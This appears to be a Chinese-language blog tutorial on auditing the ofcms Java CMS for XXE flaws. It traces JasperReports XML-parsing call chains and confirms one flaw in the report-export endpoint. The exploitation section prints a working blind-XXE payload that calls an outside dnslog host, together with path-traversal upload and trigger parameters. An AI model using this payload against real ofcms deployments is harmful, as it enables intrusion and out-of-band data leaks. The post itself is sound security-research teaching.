Java程式碼審計篇 - ofcms系統審計思路講解 - 篇4 - XXE漏洞審計

leyilea發表於2024-09-23

Java程式碼審計篇 | ofcms系統審計思路講解 - 篇4 | XXE漏洞審計

1. XXE程式碼審計【有1處】

XXE程式碼審計常搜尋的關鍵字如下:

XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...

還有一個特殊的,用於載入.jrxml 檔案,這是 JasperReports 特定的 XML 格式,用於定義報告模板。

JRXmlLoader

1.1. 搜尋JRXmlLoader

當然這樣搜比較慢,而且有很多重複的,這裡有個小技巧,可以搜到JRXmlLoader之後,然後Find Usages(Alt+F7),然後找到Usage in import檢視哪些類有匯入JRXmlLoader。

概涉及的類有:

JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...

挨個檢視一下,需要找解析jrxml檔案的程式碼以及對應方法的呼叫情況:

這裡有個小技巧:因為這些類都是匯入的jar包內部的,這說明,不是每個類和方法都會被使用到;
與之不同的則是專案自己寫的類和方法,一般都會被用到。
因此:我們可以先查詢類中方法的呼叫,確定有沒有使用到,沒有使用到就不用管了,這樣可以節省大量的時間。

JRAntApiWriteTask

進到JRAntApiWriteTask類中之後,在本類中同樣搜尋JRXmlLoader,檢視哪些位置使用了JRXmlLoader:

可以看到,程式碼中使用了JRXmlLoader.load(srcFileName),這裡呼叫了.load()方法,這是JRXmlLoader載入jrxml檔案的方式。

其中這段程式碼是在writeApi()方法中被呼叫。

接下來的思路是:先查詢writeApi()方法的呼叫情況(原因前面已經說了)

可以看到,同類下的execute()方法對其有呼叫,但是透過查詢execute()的呼叫,發現並沒有被使用。因此,此處就不需要再往下進行了。

1.1.2. JRAntUpdateTask

進到JRAntUpdateTask類中之後,在本類中同樣搜尋JRXmlLoader,檢視哪些位置使用了JRXmlLoader,以及方法的呼叫情況:

和JRAntApiWriteTask類中的情況一樣,execute()沒有被呼叫,不用管了。

1.1.3. TableReportContextXmlRule

這個類雖然匯入了JRXmlLoader,但是沒有呼叫.load()方法,所以也不用管了

JasperCompileManager【存在漏洞】

這個類中的方法很多,很多方法都用到了JRXmlLoader:

我們應該怎麼定位呢?

想一下我們在幹嘛?是不是在尋找XXE漏洞,回想XXE原理,其中前提是:程式碼需要解析xml(jrxml)檔案才可能有漏洞,如果是生成xml檔案是不是就不用管了。

因此:我們需要定位到解析xml(jrxml)檔案的地方。

在JRXmlLoader中解析使用的是load()方法,因此我們可以在當前類中搜尋.load(,發現定位到了5個位置:

來詳細看一下:

分析一下程式碼,方法之間進行了互相呼叫,當然也呼叫了除了上述方法之外的方法。

下面我用呼叫圖展示一下:

這三個呼叫鏈都涉及到了load()方法,因此都有可能存在XXE漏洞。

接下來看每個呼叫鏈最上層的方法是怎麼呼叫的(也就是找引數sourceFileName從哪來的),三個方法分別如下:(透過Find Usages/Alt+F7查詢)

  • compileReportToFile()方法,沒有被呼叫,即該方法沒有觸發,不用管了~

  • 第1個compile(String sourceFileName)方法,被當前類的compileReport(String sourceFileName)方法呼叫

  • 第2個compile(InputStream inputStream)方法,被當前類的compileReport(InputStream inputStream)方法呼叫

  • compileReportToStream()方法,沒有被呼叫,即該方法沒有觸發,不用管了~

目前,只需要關注其中兩個就好:

  • 1)ompileReport(String sourceFileName)
  • 2)compileReport(InputStream inputStream)

繼續檢視其呼叫關係:其中compileReport(InputStream inputStream)存在呼叫,ompileReport(String sourceFileName)沒有被呼叫。

定位到compileReport(InputStream inputStream)的呼叫位置,檢視原始碼:

ReprotAction類的expReport()方法將其呼叫。

並且ReprotAction類上存在一個@Action(path = "/reprot")註解,也就是說這裡可以被前端請求觸發執行。

觸發該expReport()方法的介面為:/admin/reprot/expReport.json

那麼接下來做兩件事:

  • 1)確定傳參,有無過濾
  • 2)觸發介面,進行漏洞測試

從下面這段程式碼可以看出:compileReport(new FileInputStream(file))的file是從"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"獲取的.jrxml檔案,而具體什麼檔案,由前端傳遞的“j”引數決定。

簡單來說就是:在/WEB-INF/jrxml/目錄下尋找“j”引數指定的.jrxml檔案進行jrxml檔案的解析。

並從呼叫鏈看出:整個過程沒有對檔案進行過濾,包括也沒有禁止解析外部實體(預設可以解析外部實體)。

呼叫鏈如下:

expReport()->compileReport()->compile()->JRXmlLoader.load()

所以這裡是存在XXE漏洞的。

那這樣的話,我們只需要保證:前端觸發/admin/reprot/expReport.json介面時,傳遞“j”引數指定的.jrxml檔案中存在惡意外部實體,就可以實現漏洞利用。

這裡還有一個問題:“j”引數指定的.jrxml檔案是在/WEB-INF/jrxml/目錄下,這裡我們是不可控的,因此怎麼讓ta能夠載入一個存在惡意外部實體的.jrxml檔案呢?

這裡只能結合前面的檔案上傳漏洞,寫入惡意.jrxml,來實現XXE漏洞的利用(如果這裡不存在檔案上傳漏洞,這裡無法利用)。

接下來,嘗試利用一下:(這裡沒有回顯,使用盲XXE方式)

1)透過檔案上傳漏洞,上傳一個帶有惡意外部實體的.jrxml檔案。

file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E

file_content解碼如下:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>

2)觸發/admin/reprot/expReport.json介面

根據功能和介面可以定位到功能為止:使用者管理-匯出全部

點選“匯出全部”,抓包,修改引數:

j=../../static/exp

可以看到,請求dnslog成功

1.2. 搜尋XMLReader

註釋忽略不看,剩餘的大概涉及的類有

DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是介面
CoroutineParser

每個都大概看一下:(找方法的呼叫情況,及解析xml檔案的相關方法,比如parse()等)

XMLReader的使用鏈為:

XMLReader.parse()

1.2.1. DTMManagerDefault

這個呼叫鏈非常的長,一般超過3個我都不會去審計了,因為ta有可能是元件內部使用的,有興趣的師傅可以自行追一下方法呼叫鏈,說不定有元件0day哦~

1.2.2. IncrementalSAXSource_Xerces

該類中不存在解析xml檔案的程式碼,故忽略

1.2.3. IncrementalSAXSource_Filter

此類中存在解析xml檔案的程式碼

接下來,追蹤其方法呼叫及引數傳遞

run()方法的呼叫很多:

但是存在一個問題,parse()方法所需的引數,並不是run()方法傳遞進來的。

因此接下來從引數傳遞進行分析,看是否可控

可以看到,該引數是startParse(InputSource source)方法傳入,接下來追蹤下該方法

有兩個類中呼叫了該方法,一個DTMManagerDefault,一個IncrementalSAXSource_Xerces

1.2.4. XMLReaderManager

疲倦了,師傅們自己追追吧~

1.2.5. CoroutineParser

疲倦了,師傅們自己追追吧~

1.3. 搜尋SAXBuilder

不存在SAXBuilder。

1.4. 搜尋SAXReader

搜尋SAXReader之後,進入類之後,發現所搜到的都是變數名

並不是SAXReader物件,而是SAXCatalogReader類物件,沒有解析xml檔案的程式碼,所以不需要再看了。

📌SAXCatalogReader 是一個與 XML 解析相關的概念,主要用於處理 XML 文件中的外部實體引用。它通常與 XML 解析器一起使用,以解決 DTD(Document Type Definition)或 XML 實體的重定向問題。透過配置 SAXCatalogReader,可以在解析 XML 文件時指定特定的目錄檔案,從而控制對外部資源的訪問。

1.5. 搜尋SAXParserFactory

SAXParserFactory的使用鏈為:

SAXParserFactory.newInstance().newSAXParser().parse()

所以在搜尋到的類中,搜尋.parse(,如果有的話則存在解析xml,不存在則沒有。

這裡交給大家一個小技巧,使用正規表示式,搜尋包含SAXParserFactory且包含.parse(的java類:

(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)

透過搜尋,可以定位到比較精確的java類:

設計到的類有:

SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader

1.5.1. SynthParser

追蹤一下parse()的呼叫,發現存在

繼續追蹤load(),發現只在註釋中出現,沒有其他呼叫了,那就不用管了。

1.5.2. ResolvingParser

這個類搜尋到的parse並不是用來解析xml檔案的,所以忽略

1.5.3. Process

該類中存在解析xml檔案的程式碼:

該段程式碼存在的方法為_main(),但並未有呼叫,因此忽略

1.5.4. SAXCatalogReader

該類中存在解析xml檔案的程式碼:

追蹤下readCatalog()方法的呼叫,這個時候,會發現,方法的呼叫鏈很長。此時也要結合引數的來源一同分析。

📌tips:方法的呼叫鏈很長,沒完沒了,其實這裡差不多可以放棄了,如果是專案程式碼中真正用到了,代用鏈不會過長(當然也不一定,只是經驗之談)。
當然,你可以繼續檢視呼叫鏈,說不定會存在元件0day。
這裡其實也可以結合引數來一起分析,引數可能在方法呼叫鏈的某個中間位置就確定了,那就不需要分析這麼長的呼叫鏈了。

透過分析方法呼叫和引數傳遞,主要分為兩種情況:

readCatalog()方法的呼叫一部分來自其他類中readCatalog()方法,而這些方法並沒有再被呼叫,所以沒有被使用,因此這部分忽略,見下圖紅框處:

剩下的就是parseCatalog()方法了:

其中parseCatalog(URL aUrl)無呼叫:

其中parseCatalogFile(String fileName)呼叫鏈比較長,但是引數在該方法中就確定了:

不是可控的,不用管了。

最後的parseCatalog(String mimeType, InputStream is)

還得繼續追蹤其呼叫:

追蹤到queryResolver()方法,其引數也是不可控的,忽略。

SAXCatalogReader的分析到此為止。

1.5.5. AndroidFontFinder

該類中存在解析xml檔案的程式碼:

其中引數來源為parseSystemDefaultFonts()方法,追蹤該方法的呼叫:

存在兩個,但是parseSystemDefaultFonts()方法所需引數並不是從這兩個方法傳入的,因此在這兩個方法內部就確定了parseSystemDefaultFonts()方法所需引數,即最終parse()方法的引數。

那麼分析一下:

這裡可以看出,這個引數是固定不可控的,因此忽略,另一個方法內部也是如此,因此也忽略。

1.5.6. JRPrintXmlLoader

該類中存在解析xml檔案的程式碼:

其方法為loadXML(InputStream is),追蹤方法呼叫,

但是追蹤其方法呼叫,發現最上層方法並沒有被呼叫,截圖略,其中呼叫鏈為:

load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)
  loadXML(InputStream is)
    digester.parse(is)

還有一個呼叫鏈為:

RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(
    JasperReportsContext jasperReportsContext,
    String fileName, 
    boolean isXML, 
    Locale locale, 
    ResourceBundle resBundle
    )
loadReport(String fileName, boolean isXmlReport)
  loadXML(InputStream is)
    digester.parse(is)

不管哪個呼叫鏈,其最上層方法都沒有被呼叫,因此忽略。

1.6. 搜尋Digester

Digester的使用鏈為:

Digester.parse()

所以在搜尋到的類中,搜尋.parse(,如果有的話則存在解析xml,不存在則沒有。

使用正規表示式,搜尋包含Digester且包含.parse(的java類:

(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)

透過搜尋,可以定位到比較精確的java類:

涉及的類有:

JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader

1.6.1. JRXmlLoader

該類中的loadXML()方法沒有被呼叫,忽略

1.6.2. JRPrintXmlLoader

該類中的loadXML()方法沒有被呼叫,忽略

1.6.3. JRXmlTemplateLoader

該類中的loadTemplate()方法沒有被呼叫,忽略

1.7. 搜尋DocumentBuilderFactory

DocumentBuilderFactory的使用鏈為:

DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))

所以在搜尋到的類中,搜尋.parse(,如果有的話則存在解析xml,不存在則沒有。

使用正規表示式,搜尋包含DocumentBuilderFactory且包含.parse(的java類:

(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)

透過搜尋,可以定位到比較精確的java類:

涉及到的類有:

DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport

接下來思路一下,檢視每個類中相關程式碼

  • parse是不在解析xml檔案
  • 其相關方法的呼叫關係
  • 解析的xml檔案引數是否可控
  • 有無過濾、禁止解析外部DTD

1.7.1. DTMManagerDefault

之前遇到過,忽略。

1.7.2. DOMCatalogReader

該類中存在解析xml檔案的程式碼:

其方法為readCatalog(Catalog catalog, InputStream is),追蹤方法呼叫。

📌剩下的不想追了,累了~ 有興趣的師傅可以自己每個都追下,這樣就不會漏了,祝各位師傅天天出0day。

有好的技巧、好的思路的師傅也可以共享下思路,互相學習~~麼麼噠

相關文章